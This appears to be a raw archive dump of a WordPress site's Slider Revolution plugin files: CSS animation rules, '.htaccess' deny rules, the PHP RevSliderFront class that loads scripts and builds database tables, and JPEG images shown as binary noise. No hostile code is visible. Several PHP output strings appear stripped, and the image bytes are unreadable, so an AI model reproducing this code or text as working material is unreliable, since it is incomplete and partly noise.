translate3d(-80%,80%,0)}100%{transform:rotate3d(0,0,1,360deg) translate3d(0,0,0)}}rs-loader.spinner15{width:40px;height:40px;margin-top:-4px;-webkit-transform:translate(-50%,-50%);transform:translate(-50%,-50%)}rs-loader.spinner15 .rs-spinner-inner{width:100%;height:100%}rs-loader.spinner15 .rs-spinner-inner span{display:block;width:20px;height:20px;position:absolute;top:0;left:0;-webkit-animation:rs-revealer-15 1.8s infinite ease-in-out;animation:rs-revealer-15 1.8s infinite ease-in-out}rs-loader.spinner15 .rs-spinner-inner:last-child{-webkit-animation-delay:-.9s;animation-delay:-.9s}@-webkit-keyframes rs-revealer-15{25%{-webkit-transform:translateX(30px) rotate(-90deg) scale(.5)}50%{-webkit-transform:translateX(30px) translateY(30px) rotate(-180deg)}75%{-webkit-transform:translateX(0) translateY(30px) rotate(-270deg) scale(.5)}100%{-webkit-transform:rotate(-360deg)}}@keyframes rs-revealer-15{25%{transform:translateX(30px) rotate(-90deg) scale(.5);-webkit-transform:translateX(30px) rotate(-90deg) scale(.5)}50%{transform:translateX(30px) translateY(30px) rotate(-179deg);-webkit-transform:translateX(30px) translateY(30px) rotate(-179deg)}50.1%{transform:translateX(30px) translateY(30px) rotate(-180deg);-webkit-transform:translateX(30px) translateY(30px) rotate(-180deg)}75%{transform:translateX(0) translateY(30px) rotate(-270deg) scale(.5);-webkit-transform:translateX(0) translateY(30px) rotate(-270deg) scale(.5)}100%{transform:rotate(-360deg);-webkit-transform:rotate(-360deg)}} /* NEW CANVAS ANIMATIONS ON SLIDE BG'S */ .bgcanvas { display: none; position: absolute; overflow: hidden; } /* way the hell off screen */ .RSscrollbar-measure { width: 100px; height: 100px; overflow: scroll; position: absolute; top: -9999px; } /* AVADA SCROLL FIX */ .avada-has-rev-slider-styles .rev_slider_wrapper { transform:none; } /* rs-carousel-wrap{ transform: scale(0.3); overflow: visible !important; border: solid 5px red; } */public/assets/css/.htaccess000044400000000177151724235760011731 0ustar00 Order allow,deny Deny from all public/assets/css/index.php000060400000000033151724235760011740 0ustar00 * @link https://www.themepunch.com/ * @copyright 2022 ThemePunch */ if(!defined('ABSPATH')) exit(); global $revslider_rev_start_size_loaded; $revslider_rev_start_size_loaded = false; class RevSliderFront extends RevSliderFunctions { const TABLE_SLIDER = 'revslider_sliders'; const TABLE_SLIDES = 'revslider_slides'; const TABLE_STATIC_SLIDES = 'revslider_static_slides'; const TABLE_CSS = 'revslider_css'; const TABLE_LAYER_ANIMATIONS = 'revslider_layer_animations'; const TABLE_NAVIGATIONS = 'revslider_navigations'; const TABLE_SETTINGS = 'revslider_settings'; //existed prior 5.0 and still needed for updating from 4.x to any version after 5.x const CURRENT_TABLE_VERSION = '1.0.12'; const YOUTUBE_ARGUMENTS = 'hd=1&wmode=opaque&showinfo=0&rel=0'; const VIMEO_ARGUMENTS = 'title=0&byline=0&portrait=0&api=1'; public function __construct(){ add_action('wp_enqueue_scripts', array('RevSliderFront', 'add_actions')); add_filter('wp_img_tag_add_loading_attr', array('RevSliderFront', 'check_lazy_loading'), 99, 3); } /** * START: DEPRECATED FUNCTIONS THAT ARE IN HERE FOR OLD ADDONS TO WORK PROPERLY **/ /** * old version of add_admin_bar(); **/ public static function putAdminBarMenus(){ return RevSliderFront::add_admin_bar(); } /** * END: DEPRECATED FUNCTIONS THAT ARE IN HERE FOR OLD ADDONS TO WORK PROPERLY **/ /** * Add all actions that the frontend needs here **/ public static function add_actions(){ global $revslider_is_preview_mode; $func = RevSliderGlobals::instance()->get('RevSliderFunctions'); $rs_ver = apply_filters('revslider_remove_version', RS_REVISION); $global = $func->get_global_settings(); $inc_global = $func->_truefalse($func->get_val($global, 'allinclude', true)); $inc_footer = $func->_truefalse($func->get_val($global, array('script', 'footer'), true)); $widget = is_active_widget(false, false, 'rev-slider-widget', true); $load = false; $load = apply_filters('revslider_include_libraries', $load); $load = ($revslider_is_preview_mode === true) ? true : $load; $load = ($inc_global === true) ? true : $load; $load = (self::has_shortcode('rev_slider') === true) ? true : $load; $load = ($widget !== false) ? true : $load; if($inc_global === false){ $output = new RevSliderOutput(); $output->set_add_to($func->get_val($global, 'includeids', '')); $add_to = $output->check_add_to(true); $load = ($add_to === true) ? true : $load; } if($load === false) return false; wp_enqueue_script(array('jquery')); /** * dequeue tp-tools to make sure that always the latest is loaded **/ global $wp_scripts; if(version_compare($func->get_val($wp_scripts, array('registered', 'tp-tools', 'ver'), '1.0'), RS_TP_TOOLS, '<')){ wp_deregister_script('tp-tools'); wp_dequeue_script('tp-tools'); } wp_enqueue_script('tp-tools', RS_PLUGIN_URL . 'public/assets/js/rbtools.min.js', array('jquery'), RS_TP_TOOLS, $inc_footer); if(!file_exists(RS_PLUGIN_PATH.'public/assets/js/rs6.min.js')){ wp_enqueue_script('revmin', RS_PLUGIN_URL . 'public/assets/js/dev/rs6.main.js', array('jquery'), $rs_ver, $inc_footer); //if on, load all libraries instead of dynamically loading them wp_enqueue_script('revmin-actions', RS_PLUGIN_URL . 'public/assets/js/dev/rs6.actions.js', array('jquery'), $rs_ver, $inc_footer); wp_enqueue_script('revmin-carousel', RS_PLUGIN_URL . 'public/assets/js/dev/rs6.carousel.js', array('jquery'), $rs_ver, $inc_footer); wp_enqueue_script('revmin-layeranimation', RS_PLUGIN_URL . 'public/assets/js/dev/rs6.layeranimation.js', array('jquery'), $rs_ver, $inc_footer); wp_enqueue_script('revmin-navigation', RS_PLUGIN_URL . 'public/assets/js/dev/rs6.navigation.js', array('jquery'), $rs_ver, $inc_footer); wp_enqueue_script('revmin-panzoom', RS_PLUGIN_URL . 'public/assets/js/dev/rs6.panzoom.js', array('jquery'), $rs_ver, $inc_footer); wp_enqueue_script('revmin-parallax', RS_PLUGIN_URL . 'public/assets/js/dev/rs6.parallax.js', array('jquery'), $rs_ver, $inc_footer); wp_enqueue_script('revmin-slideanims', RS_PLUGIN_URL . 'public/assets/js/dev/rs6.slideanims.js', array('jquery'), $rs_ver, $inc_footer); // wp_enqueue_script('revmin-threejs', RS_PLUGIN_URL . 'public/assets/js/libs/three.min.js', array('jquery'), $rs_ver, $inc_footer); wp_enqueue_script('revmin-video', RS_PLUGIN_URL . 'public/assets/js/dev/rs6.video.js', array('jquery'), $rs_ver, $inc_footer); }else{ wp_enqueue_script('revmin', RS_PLUGIN_URL . 'public/assets/js/rs6.min.js', array('tp-tools', 'jquery'), $rs_ver, $inc_footer); } add_action('wp_head', array('RevSliderFront', 'add_meta_generator')); add_action('wp_head', array('RevSliderFront', 'js_set_start_size'), 99); add_action('admin_head', array('RevSliderFront', 'js_set_start_size'), 99); add_action('wp_footer', array('RevSliderFront', 'add_inline_css'), 10); add_action('wp_footer', array('RevSliderFront', 'load_icon_fonts'), 11); add_action('wp_footer', array('RevSliderFront', 'load_google_fonts')); add_action('wp_footer', array('RevSliderFront', 'add_waiting_script'), 1); add_action('wp_print_footer_scripts', array('RevSliderFront', 'add_inline_js'), 100); //defer JS Loading if($func->_truefalse($func->get_val($global, array('script', 'defer'), true)) === true){ add_filter('script_loader_tag', array('RevSliderFront', 'add_defer_forscript'), 11, 2); } //Async JS Loading if($func->_truefalse($func->get_val($global, array('script', 'async'), true)) === true){ add_filter('script_loader_tag', array('RevSliderFront', 'add_async_forscript'), 11, 2); } add_action('wp_before_admin_bar_render', array('RevSliderFront', 'add_admin_menu_nodes')); add_action('wp_footer', array('RevSliderFront', 'add_admin_bar'), 99); } /** * add css to the footer **/ public static function add_inline_css(){ global $wp_version, $rs_css_collection, $rs_revicons; $css = RevSliderGlobals::instance()->get('RevSliderCssParser'); $rs_ver = apply_filters('revslider_remove_version', RS_REVISION); /** * Fix for WordPress versions below 3.7 **/ $style_pre = ($wp_version < 3.7) ? '' : ''; $custom_css = $css->get_static_css(); $custom_css = $css->compress_css($custom_css); if(!empty($rs_css_collection)){ $custom_css .= RS_T2; $custom_css .= implode("\n".RS_T2, $rs_css_collection); } $custom_css = (trim($custom_css) == '') ? '#rs-demo-id {}' : $custom_css; if(strpos($custom_css, 'revicon') !== false) $rs_revicons = true; wp_enqueue_style('rs-plugin-settings', RS_PLUGIN_URL . 'public/assets/css/rs6.css', array(), $rs_ver); wp_add_inline_style('rs-plugin-settings', $style_pre . $custom_css . $style_post); } /** * add all the JavaScript from the Sliders to the footer **/ public static function add_inline_js(){ global $rs_js_collection; if(empty($rs_js_collection)) return true; if(empty($rs_js_collection['revapi'])) return true; echo ''."\n"; } public static function welcome_screen_activate(){ set_transient('_revslider_welcome_screen_activation_redirect', true, 60); } /** * Add Meta Generator Tag in FrontEnd * @since: 5.0 */ public static function add_meta_generator(){ echo apply_filters('revslider_meta_generator', '' . "\n"); } /** * Load Used Icon Fonts * @since: 5.0 */ public static function load_icon_fonts(){ global $fa_var, $fa_icon_var, $pe_7s_var, $rs_revicons; $func = RevSliderGlobals::instance()->get('RevSliderFunctions'); $global = $func->get_global_settings(); $ignore_fa = $func->_truefalse($func->get_val($global, 'fontawesomedisable', false)); echo ($rs_revicons) ? RS_T3.''."\n" : ''; echo ($ignore_fa === false && ($fa_icon_var == true || $fa_var == true)) ? RS_T3.''."\n" : ''; echo ($ignore_fa === false && ($fa_icon_var == true || $fa_var == true)) ? RS_T3.''."\n" : ''; echo ($pe_7s_var) ? RS_T3.''."\n" : ''; } /** * Load Used Google Fonts * add google fonts of all sliders found on the page * @since: 6.0 */ public static function load_google_fonts(){ $func = RevSliderGlobals::instance()->get('RevSliderFunctions'); $fonts = $func->print_clean_font_import(); if(!empty($fonts)){ echo $fonts."\n"; } } /** * add the scripts that needs to be waited on * @since: 6.4.12 **/ public static function add_waiting_script(){ $func = RevSliderGlobals::instance()->get('RevSliderFunctions'); $dev = (!file_exists(RS_PLUGIN_PATH.'public/assets/js/rs6.min.js')) ? true : false; $global = $func->get_global_settings(); $wait = array(); $wait = apply_filters('revslider_modify_waiting_scripts', $wait); ?> Slider Revolution', false, admin_url('admin.php?page=revslider'), array('class' => 'revslider-menu'), 'revslider'); // //add all nodes of all Slider $sl = new RevSliderSlider(); $sliders = $sl->get_slider_for_admin_menu(); if(!empty($sliders)){ foreach ($sliders as $id => $slider){ self::_add_node('' . esc_html($slider['title']) . '', 'revslider', admin_url('admin.php?page=revslider&view=slide&id=slider-'.$id), array('class' => 'revslider-sub-menu'), esc_attr($slider['alias'])); // } } } /** * add admin node * @since: 5.0.5 */ public static function _add_node($title, $parent = false, $href = '', $custom_meta = array(), $id = ''){ if(!is_super_admin() || !is_admin_bar_showing()){ return; } $id = ($id == '') ? strtolower(str_replace(' ', '-', $title)) : $id; //links from the current host will open in the current window $meta = (strpos($href, site_url()) !== false) ? array() : array('target' => '_blank'); //external links open in new tab/window $meta = array_merge($meta, $custom_meta); global $wp_admin_bar; $wp_admin_bar->add_node(array('parent'=> $parent, 'id' => $id, 'title' => $title, 'href' => $href, 'meta' => $meta)); } /** * adds async loading * @since: 5.0 * @updated: 6.4.12 */ public static function add_defer_forscript($tag, $handle){ if(strpos($tag, 'rs6') === false && strpos($tag, 'rbtools.min.js') === false && strpos($tag, 'revolution.addon.') === false && strpos($tag, 'public/assets/js/libs/') === false && (strpos($tag, 'liquideffect') === false && strpos($tag, 'pixi.min.js') === false) && strpos($tag, 'rslottie-js') === false){ return $tag; }elseif(is_admin()){ return $tag; }else{ return str_replace(' id=', ' defer id=', $tag); } } /** * adds async loading * @since: 5.0 * @updated: 6.4.12 */ public static function add_async_forscript($tag, $handle){ if(strpos($tag, 'rs6') === false && strpos($tag, 'rbtools.min.js') === false && strpos($tag, 'revolution.addon.') === false && strpos($tag, 'public/assets/js/libs/') === false && (strpos($tag, 'liquideffect') === false && strpos($tag, 'pixi.min.js') === false) && strpos($tag, 'rslottie-js') === false){ return $tag; }elseif(is_admin()){ return $tag; }else{ return str_replace(' id=', ' async id=', $tag); } } /** * Add functionality to gutenberg, elementor, visual composer and so on **/ public static function add_post_editor(){ /** * Page Editor Extensions **/ if(function_exists('is_user_logged_in') && is_user_logged_in()){ //only include gutenberg for production if(is_admin() && defined('ABSPATH')){ include_once(ABSPATH . 'wp-admin/includes/plugin.php'); if(function_exists('is_plugin_active') && !is_plugin_active('revslider-gutenberg/plugin.php')){ require_once(RS_PLUGIN_PATH . 'admin/includes/shortcode_generator/gutenberg/gutenberg-block.php'); new RevSliderGutenberg('gutenberg/'); } } require_once(RS_PLUGIN_PATH . 'admin/includes/shortcode_generator/shortcode_generator.class.php'); //Shortcode Wizard Includes //WPB Functionality require_once(RS_PLUGIN_PATH . 'admin/includes/shortcode_generator/wpbakery/wpbakery.class.php'); add_action('vc_before_init', array('RevSliderWpbakeryShortcode', 'visual_composer_include')); //VC functionality add_action('admin_enqueue_scripts', array('RevSliderShortcodeWizard', 'enqueue_scripts')); add_action('admin_footer', array('RevSliderShortcodeWizard', 'enqueue_files')); //add_action('wp_footer', array('RevSliderShortcodeWizard', 'enqueue_files')); add_action('vc_before_init', array('RevSliderShortcodeWizard', 'add_styles')); //VC functionality } //Elementor Functionality require_once(RS_PLUGIN_PATH . 'admin/includes/shortcode_generator/elementor/elementor.class.php'); add_action('init', array('RevSliderElementor', 'init')); add_action('elementor/editor/before_enqueue_scripts', array('RevSliderShortcodeWizard', 'enqueue_files')); } /** * Add Meta Generator Tag in FrontEnd * @since: 5.4.3 * @before: add_setREVStartSize() //NOT COMPRESSED VERSION function setREVStartSize(e){ //window.requestAnimationFrame(function() { window.RSIW = window.RSIW===undefined ? window.innerWidth : window.RSIW; window.RSIH = window.RSIH===undefined ? window.innerHeight : window.RSIH; try { var pw = document.getElementById(e.c).parentNode.offsetWidth, newh; pw = pw===0 || isNaN(pw) || (e.l=="fullwidth" || e.layout=="fullwidth") ? window.RSIW : pw; e.tabw = e.tabw===undefined ? 0 : parseInt(e.tabw); e.thumbw = e.thumbw===undefined ? 0 : parseInt(e.thumbw); e.tabh = e.tabh===undefined ? 0 : parseInt(e.tabh); e.thumbh = e.thumbh===undefined ? 0 : parseInt(e.thumbh); e.tabhide = e.tabhide===undefined ? 0 : parseInt(e.tabhide); e.thumbhide = e.thumbhide===undefined ? 0 : parseInt(e.thumbhide); e.mh = e.mh===undefined || e.mh=="" || e.mh==="auto" ? 0 : parseInt(e.mh,0); if(e.layout==="fullscreen" || e.l==="fullscreen") newh = Math.max(e.mh,window.RSIH); else{ e.gw = Array.isArray(e.gw) ? e.gw : [e.gw]; for (var i in e.rl) if (e.gw[i]===undefined || e.gw[i]===0) e.gw[i] = e.gw[i-1]; e.gh = e.el===undefined || e.el==="" || (Array.isArray(e.el) && e.el.length==0)? e.gh : e.el; e.gh = Array.isArray(e.gh) ? e.gh : [e.gh]; for (var i in e.rl) if (e.gh[i]===undefined || e.gh[i]===0) e.gh[i] = e.gh[i-1]; var nl = new Array(e.rl.length), ix = 0, sl; e.tabw = e.tabhide>=pw ? 0 : e.tabw; e.thumbw = e.thumbhide>=pw ? 0 : e.thumbw; e.tabh = e.tabhide>=pw ? 0 : e.tabh; e.thumbh = e.thumbhide>=pw ? 0 : e.thumbh; for (var i in e.rl) nl[i] = e.rl[i]nl[i] && nl[i]>0) { sl = nl[i]; ix=i;} var m = pw>(e.gw[ix]+e.tabw+e.thumbw) ? 1 : (pw-(e.tabw+e.thumbw)) / (e.gw[ix]); newh = (e.gh[ix] * m) + (e.tabh + e.thumbh); } var el = document.getElementById(e.c); if (el!==null && el) el.style.height = newh+"px"; el = document.getElementById(e.c+"_wrapper"); if (el!==null && el) el.style.height = newh+"px"; } catch(e){ console.log("Failure at Presize of Slider:" + e) } //} }; */ public static function js_set_start_size(){ global $revslider_rev_start_size_loaded; if($revslider_rev_start_size_loaded === true) return false; $script = '' . "\n"; echo apply_filters('revslider_add_setREVStartSize', $script); $revslider_rev_start_size_loaded = true; } /** * sets the post saving value to true, so that the output echo will not be done **/ public static function set_post_saving(){ global $revslider_save_post; $revslider_save_post = true; } /** * check the current post for the existence of a short code * @before: hasShortcode() */ public static function has_shortcode($shortcode = ''){ $found = false; if(empty($shortcode)) return false; if(!is_singular()) return false; $post = get_post(get_the_ID()); if(stripos($post->post_content, '[' . $shortcode) !== false) $found = true; return $found; } /** * Create Tables * @only_base needs to be false * it can only be true by fixing database issues * this protects that the _bkp tables are not filled after * we are already on version 6.0 **/ public static function create_tables($only_base = false){ $table_version = get_option('revslider_table_version', '1.0.0'); if(version_compare($table_version, self::CURRENT_TABLE_VERSION, '<')){ global $wpdb; require_once(ABSPATH . 'wp-admin/includes/upgrade.php'); $sql = "CREATE TABLE " . $wpdb->prefix . self::TABLE_SLIDER . " ( id int(9) NOT NULL PRIMARY KEY AUTO_INCREMENT, title tinytext NOT NULL, alias tinytext, params LONGTEXT NOT NULL, settings text NULL, type VARCHAR(191) NOT NULL DEFAULT '', INDEX `type_index` (`type`(8)) );"; dbDelta($sql); $sql = "CREATE TABLE " . $wpdb->prefix . self::TABLE_SLIDES . " ( id int(9) NOT NULL PRIMARY KEY AUTO_INCREMENT, slider_id int(9) NOT NULL, slide_order int not NULL, params LONGTEXT NOT NULL, layers LONGTEXT NOT NULL, settings text NOT NULL DEFAULT '', INDEX `slider_id_index` (`slider_id`) );"; dbDelta($sql); $sql = "CREATE TABLE " . $wpdb->prefix . self::TABLE_STATIC_SLIDES . " ( id int(9) NOT NULL PRIMARY KEY AUTO_INCREMENT, slider_id int(9) NOT NULL, params LONGTEXT NOT NULL, layers LONGTEXT NOT NULL, settings text NOT NULL, INDEX `slider_id_index` (`slider_id`) );"; dbDelta($sql); $sql = "CREATE TABLE " . $wpdb->prefix . self::TABLE_CSS . " ( id int(9) NOT NULL PRIMARY KEY AUTO_INCREMENT, handle TEXT NOT NULL, settings LONGTEXT, hover LONGTEXT, advanced LONGTEXT, params LONGTEXT NOT NULL, INDEX `handle_index` (`handle`(64)) );"; dbDelta($sql); $sql = "CREATE TABLE " . $wpdb->prefix . self::TABLE_LAYER_ANIMATIONS . " ( id int(9) NOT NULL PRIMARY KEY AUTO_INCREMENT, handle TEXT NOT NULL, params TEXT NOT NULL, settings text NULL );"; dbDelta($sql); $sql = "CREATE TABLE " . $wpdb->prefix . self::TABLE_NAVIGATIONS . " ( id int(9) NOT NULL PRIMARY KEY AUTO_INCREMENT, name VARCHAR(191) NOT NULL, handle VARCHAR(191) NOT NULL, type VARCHAR(191) NOT NULL, css LONGTEXT NOT NULL, markup LONGTEXT NOT NULL, settings LONGTEXT NULL );"; dbDelta($sql); //create CSS entries $result = $wpdb->get_row("SELECT COUNT( DISTINCT id ) AS NumberOfEntrys FROM " . $wpdb->prefix . self::TABLE_CSS); if(!empty($result) && $result->NumberOfEntrys == 0){ $css_class = RevSliderGlobals::instance()->get('RevSliderCssParser'); $css_class->import_css_captions(); } update_option('revslider_table_version', self::CURRENT_TABLE_VERSION); //$table_version = self::CURRENT_TABLE_VERSION; } /** * check if table version is below 1.0.8. * if yes, duplicate the tables into _bkp * this way, we can revert back to v5 if any slider * has issues in the v6 migration process **/ if(version_compare($table_version, '1.0.8', '<') && ($only_base === false || $only_base === '')){ global $wpdb; require_once(ABSPATH . 'wp-admin/includes/upgrade.php'); $sql = "CREATE TABLE IF NOT EXISTS ".$wpdb->prefix . self::TABLE_SLIDER."_bkp LIKE ".$wpdb->prefix . self::TABLE_SLIDER.";"; dbDelta($sql); $result = $wpdb->get_row("SELECT EXISTS (SELECT 1 FROM ".$wpdb->prefix . self::TABLE_SLIDER."_bkp) AS `exists`;", ARRAY_A); if(!empty($result) && isset($result['exists']) && $result['exists'] === '0'){ $sql = "INSERT ".$wpdb->prefix . self::TABLE_SLIDER."_bkp SELECT * FROM ".$wpdb->prefix . self::TABLE_SLIDER.";"; $wpdb->query($sql); } $sql = "CREATE TABLE IF NOT EXISTS ".$wpdb->prefix . self::TABLE_SLIDES."_bkp LIKE ".$wpdb->prefix . self::TABLE_SLIDES.";"; dbDelta($sql); $result = $wpdb->get_row("SELECT EXISTS (SELECT 1 FROM ".$wpdb->prefix . self::TABLE_SLIDES."_bkp) AS `exists`;", ARRAY_A); if(!empty($result) && isset($result['exists']) && $result['exists'] === '0'){ $sql = "INSERT ".$wpdb->prefix . self::TABLE_SLIDES."_bkp SELECT * FROM ".$wpdb->prefix . self::TABLE_SLIDES.";"; $wpdb->query($sql); } $sql = "CREATE TABLE IF NOT EXISTS ".$wpdb->prefix . self::TABLE_STATIC_SLIDES."_bkp LIKE ".$wpdb->prefix . self::TABLE_STATIC_SLIDES.";"; dbDelta($sql); $result = $wpdb->get_row("SELECT EXISTS (SELECT 1 FROM ".$wpdb->prefix . self::TABLE_STATIC_SLIDES."_bkp) AS `exists`;", ARRAY_A); if(!empty($result) && isset($result['exists']) && $result['exists'] === '0'){ $sql = "INSERT ".$wpdb->prefix . self::TABLE_STATIC_SLIDES."_bkp SELECT * FROM ".$wpdb->prefix . self::TABLE_STATIC_SLIDES.";"; $wpdb->query($sql); } $sql = "CREATE TABLE IF NOT EXISTS ".$wpdb->prefix . self::TABLE_CSS."_bkp LIKE ".$wpdb->prefix . self::TABLE_CSS.";"; dbDelta($sql); $result = $wpdb->get_row("SELECT EXISTS (SELECT 1 FROM ".$wpdb->prefix . self::TABLE_CSS."_bkp) AS `exists`;", ARRAY_A); if(!empty($result) && isset($result['exists']) && $result['exists'] === '0'){ $sql = "INSERT ".$wpdb->prefix . self::TABLE_CSS."_bkp SELECT * FROM ".$wpdb->prefix . self::TABLE_CSS.";"; $wpdb->query($sql); } $sql = "CREATE TABLE IF NOT EXISTS ".$wpdb->prefix . self::TABLE_LAYER_ANIMATIONS."_bkp LIKE ".$wpdb->prefix . self::TABLE_LAYER_ANIMATIONS.";"; dbDelta($sql); $result = $wpdb->get_row("SELECT EXISTS (SELECT 1 FROM ".$wpdb->prefix . self::TABLE_LAYER_ANIMATIONS."_bkp) AS `exists`;", ARRAY_A); if(!empty($result) && isset($result['exists']) && $result['exists'] === '0'){ $sql = "INSERT ".$wpdb->prefix . self::TABLE_LAYER_ANIMATIONS."_bkp SELECT * FROM ".$wpdb->prefix . self::TABLE_LAYER_ANIMATIONS.";"; $wpdb->query($sql); } $sql = "CREATE TABLE IF NOT EXISTS ".$wpdb->prefix . self::TABLE_NAVIGATIONS."_bkp LIKE ".$wpdb->prefix . self::TABLE_NAVIGATIONS.";"; dbDelta($sql); $result = $wpdb->get_row("SELECT EXISTS (SELECT 1 FROM ".$wpdb->prefix . self::TABLE_NAVIGATIONS."_bkp) AS `exists`;", ARRAY_A); if(!empty($result) && isset($result['exists']) && $result['exists'] === '0'){ $sql = "INSERT ".$wpdb->prefix . self::TABLE_NAVIGATIONS."_bkp SELECT * FROM ".$wpdb->prefix . self::TABLE_NAVIGATIONS.";"; $wpdb->query($sql); } } } /** * get the images from posts/pages for yoast seo **/ public static function get_images_for_seo($url, $type, $user){ if(in_array($type, array('user', 'term'), true)) return $url; if(!is_object($user) || !isset($user->ID)) return $url; $post = get_post($user->ID); if(is_a($post, 'WP_Post') && has_shortcode($post->post_content, 'rev_slider')){ preg_match_all('/\[rev_slider.*alias=.(.*)"\]/', $post->post_content, $shortcodes); if(isset($shortcodes[1]) && $shortcodes[1] !== ''){ foreach($shortcodes[1] as $s){ if(strpos($s, '"') !== false){ $s = explode('"', $s); $s = (isset($s[0])) ? $s[0] : ''; } if(!RevSliderSlider::alias_exists($s)) continue; $sldr = new RevSliderSlider(); $sldr->init_by_alias($s); $sldr->get_slides(); $imgs = $sldr->get_images(); if(!empty($imgs)){ if(!isset($url['images'])) $url['images'] = array(); foreach($imgs as $v){ $url['images'][] = $v; } } } } } return $url; } }h7-rev-slider-1-100x50.jpg000060400000006543151724237320010641 0ustar00JFIFExifII*122PijAdobe Photoshop CS6 (Windows)2018-09-28T16:43:48+02:000220 http://ns.adobe.com/xap/1.0/ C    !'"#%%%),($+!$%$C   $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$2d":  !1"AQaq2#Bb36CRc$!1A3CQa ?TYtzT{,F x[$|߰w4Ԯ'8 4α|/Hni#8}MCRsG#Jzr'umHen )lBZ)H=SWVnb_-]KaRih6p /@N;n|SB^<(OKٟ+Sˋo$|p(;yCO4TYjI!O!?΅z]cѕl&,lZ̿SJsJ)9L j~٢[+JU8Y % c#s6cQIL 6@sjPS:cSai] %Nye;|TW\:@~#qnEf]:V#rS(< KyVoǘs;ZH"B8@dl6;Vўϡ7Ʈu7ոAjGk- Rv})ql+-@Ҵm%̋ 8V.Z~܉ָ_u%|yޖ1qa{,s7F. -QuҰTȹjH54+x@I m?{qe>iȭs 60r9*xq$M/FT=<(Ө4CӨq*SjolZG:r#E&.ϖʔ)֜g;^GEu{R7jS"SgMdt× \lJpe$!# [e[`wRG0(`%ǩČÒZ =H欁"vܭj:,4e.o x 1XՓc#j d6T֔-7$qd.PpzsF&:W\wGXcg>ڥW?|3Wy{ԩ^O*+\ cjM\BV|3RDES츦} R{/$6JFuCRmiprZf|6]qSZRbS-5om!"??EJ/[1`l8F¥J.htaccess000044400000000177151724237320006353 0ustar00 Order allow,deny Deny from all video-media/COMP_19_layer-1300x1080.jpeg000060400000373141151724237320013136 0ustar00JFIFICC_PROFILE0mntrRGB XYZ acsp- desc$rXYZgXYZ(bXYZ<wtptPrTRCd(gTRCd(bTRCd(cprthQ;(6gj`FJm9* / dsmY#3s>"hZ qC#Cy̏ =. +; efdkɽtiQݟ\i5UN =lGɟ][M3jƠrw<.68]bG'VH 59og+"*yi+JCd.Z.7@q K㲽Ӛ&Ka)ZNE3K kêzGN|uGysDC71DxXjn쿺XGI!#qqAfds;p )RMJ^~ֳsf. x%nItʼ0&Jrf@R}&m`jr8:'Q[xޱ~8d'J!%tums(Z?=4Qwيo܊Pe񥹜sE&RqVTm] 7KHph·$ʪUy.AtUWt#*8PfI"XCFqCŵ6pe {WJZӦ}}dMJrbLMHI!}xT9(vdԶ&Q$ )6-I6&mM%SR#I!#r0$I L2d LjCI BG(БmmO- ''@Q@$I IHRDP&O)I5"LjCHKrq@ C A$<,;7xVVMkKƀ$ڴ𱡢X-+#dY Vf6>GkObiT.-"`iMfTJ?%f93I2)`B  +׉^[>JXDdsv􌗈sfxdy׉7=Yb: 9YWO$o&n̩QmDͻ /eX'H16V2F7Q B{.괿]f4G7giYYd._|M C)*5|%wb2GJ!85 !U6֋t~qE1SVZ-hXCiJ ͽ=7iw?LDb=Ҋ!73 Z,i+\_7Bo D?  BhEԀr.iZSBHZ< f+">-oc`_u:#7J=hG(݌!ք㽼v t !]j>fP;GQˉ&4Ԡ6ॎul ,ʖ&F xW `unj+IJ&8{bGmCLƎI"zxN@h.i)òٲ4P?9 i<8wP$!QdEp$[x! )H8H "ڜpo @I"S#MHi2- S"#;PㄐUKjb9LpD':dRN L$(OjDɠ$Tjh@O81$t$ CDZ`L!8(t A;Sӎ 4HC|:@ ܘB@zC|& 'B$N=N{L1'&@㒜N:d QA@9w)62jNt@ژ2#`Oh& R#d'BG(- RaI 18N8I2I@ t&Nd#&ڐ:d IHRD@ HRD$@ie"߹XH Q4U-7wn⬿c'ff I&)鸬#&t4 V10OU\p?[h9E!b4`UcBi{> O- ϕH 8b-Fhrz {Lz#\˶mR8}x}DK]r\܇݁R<\dCMP1Us\cE@ϨڑSyaL!$t}m2IIY#n#e@3!4{N" qfFMTb I'IDI@qKvl Br:V'3 nuLttaҞq4ǂI\KC}ܗ7r}i0>dp@r@,=1,eZ:<8ltNrS1fe2y=sL'P'͛:8JJԶ +p"ڕaMtF[ՖS3^T9AƂIkM F7g)s ?*y)vvDlL?I,ifN@7+3Y*B¢)=|A~c}_7&cwKW縹Dz|!8:9Y:I$F>pm9Cs9Ȣd|pϙj#B{^5&N Ҥ - HPR jERڍ5"DŽ{P@IxF8BG(mB[-m@${S Di"=@ tRd MH ڛj4ɠjHL@&F@$2` IHI:dI$&  `$I*I$'B&NdN:@HD2I I B{D`+D4=%1$[S B{D#MhiSMH'ڐ2H L$'LG($jqI$ I:HNPjC$ 2tctsDwJ$LcxSrv,x^6)+ǚFox6duFc \:rDMDAW~[L"3xe% $tMcE;vUz:AWzF&8x;h.#678D|.C:X)h(8m~ .bFoړ'};t1ilz!9x܁k nY ITN)qh bWEIƲhÈv?KNPiOhp卩Ae?RHBǺleU:=.Aa>Sq`6&"\P;jY18pPfpo5yN$q) '+F~ҫ94521 N- ?FԝK'@qW<Θa3Mgs+'a䄖?l?zb9E%~tO6R}m@ڛj-@I <Ԥɠ#MJJLx(#ŨIH "LG(!H$&S"Iڜ$(Rm@ &@F4 zI>v*I8$ȓR@2Tjd;RDH%Wtv#H#IW $OhB$$I5"R$N L$'Ld Ij@ HKyFhv'S@$ڒ d)'LdH:II$I J&@ 2t$$'I2I@ t`I:JF2A:jӠ$ <q#l<ްlJ_y5)J$ϔNN3j LvVdw^^<.ŭT!0us,=..÷%,L4;|G&Md:=!yϩ/?KG 6^F4́B;^n8+7yT)Aw9Tmo+ЋKl.9gP.R-Vdy8/]/4F[dypZפ3a? Poh>+2s ks8KhW734xV#L u۸𙬳aI[ ۸S8 ʴi;e'`8W)Ҵu\ó'ѝGc⩲+.]I6I7hKLQsʲ=:O\&$S9AHLhpw&QځYVS"*r(•,N-㔢q}75>IUivRя-q!.VcbrT0l+fڏ7H4t)r6Q ?Ld:@p4ɡS;XkcG^c6S eKR fr9yyApp,roH # z82)W B-GWԙX-7pewi2do 2ko)u̼nR@Ph~E0o#/NΨˏE Rm9|(4k8;s2,qKu<9I4WI٢"1hXGm^dR49#rp9 A]&9|b=d*'pҵߕO3ITm+fa(DtA!w|!ki9yR4E#O.kxkz0c(4S.G[!$ '8rv8i3cuK9& \wFӊ⭗Z8iT/VYo.'? CإfޚIf6M$&^#]T;)v 